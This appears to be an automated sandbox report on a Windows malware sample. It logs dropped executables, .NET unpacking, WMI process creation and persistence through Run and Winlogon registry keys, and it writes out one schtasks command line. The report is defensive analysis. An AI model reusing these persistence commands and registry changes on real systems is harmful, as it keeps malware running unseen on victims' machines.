Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41D7.tmp" "c:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Windows Multimedia Platform\8de7bf56f754b7	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Directory created: C:\Program Files\Microsoft Office 15\8de7bf56f754b7	Jump to behavior

Source: H9gMIu2HXi.exe

Static file information: File size 1811992 > 1048576

Source: H9gMIu2HXi.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: H9gMIu2HXi.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: H9gMIu2HXi.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: H9gMIu2HXi.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: H9gMIu2HXi.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: H9gMIu2HXi.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: H9gMIu2HXi.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: H9gMIu2HXi.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: H9gMIu2HXi.exe, work.exe.0.dr, dwartg.exe.3.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.pdb source: SurrogatewebSession.exe, 00000008.00000002.1734602264.00000000036B9000.00000004.00000800.00020000.00000000.sdmp

Source: H9gMIu2HXi.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: H9gMIu2HXi.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: H9gMIu2HXi.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: H9gMIu2HXi.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: H9gMIu2HXi.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains potential unpacker

Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, sgG.cs	.Net Code: method_0 System.Reflection.Assembly.Load(byte[])
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Class4.cs	.Net Code: H86
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, sgG.cs	.Net Code: method_0 System.Reflection.Assembly.Load(byte[])
Source: 4.3.dwartg.exe.70006d6.1.raw.unpack, Class4.cs	.Net Code: H86

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline"
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline"			Jump to behavior

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_4597250

Jump to behavior

Source: H9gMIu2HXi.exe	Static PE information: section name: .didat
Source: work.exe.0.dr	Static PE information: section name: .didat
Source: dwartg.exe.3.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A407F0 push ecx; ret	0_2_00A40803
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A3FEFC push eax; ret	0_2_00A3FF1A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003307F0 push ecx; ret	3_2_00330803
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_0032FEFC push eax; ret	3_2_0032FF1A
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0073F640 push ecx; ret	4_2_0073F653
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0073EB78 push eax; ret	4_2_0073EB96
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BABFB02 pushad ; ret	8_2_00007FFD9BABFB03
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BAB8163 push ebx; ret	8_2_00007FFD9BAB816A
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BC21EE0 pushfd ; ret	8_2_00007FFD9BC21EE1
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BC30185 push ebx; retf	8_2_00007FFD9BC301F2
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Code function: 8_2_00007FFD9BC28951 push 8B485E2Eh; iretd	8_2_00007FFD9BC28956
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BACFB02 pushad ; ret	43_2_00007FFD9BACFB03
Source: C:\Recovery\winlogon.exe	Code function: 43_2_00007FFD9BAC8163 push ebx; ret	43_2_00007FFD9BAC816A

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\tnEMlbYs.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Recovery\winlogon.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\vybNluDs.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\aEtIhTbg.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\WslZMRrk.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\MFrsFgjH.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\lKwWBiIK.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\TDfrhvdw.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\LdxTVLQK.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\tRVOBpwv.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\RAtJMMZA.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\rGzNBWQu.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	File created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\BudDliLc.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Windows\System32\SecurityHealthSystray.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\vybNluDs.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\tnEMlbYs.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\lKwWBiIK.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\TDfrhvdw.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\RAtJMMZA.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	File created: C:\Users\user\Desktop\MFrsFgjH.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\LdxTVLQK.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\BudDliLc.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\tRVOBpwv.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\rGzNBWQu.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\aEtIhTbg.log	Jump to dropped file
Source: C:\Recovery\winlogon.exe	File created: C:\Users\user\Desktop\WslZMRrk.log	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "vXKtedDiKZHKptbUFqIBdHmZv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe'" /f

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ	Jump to behavior

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
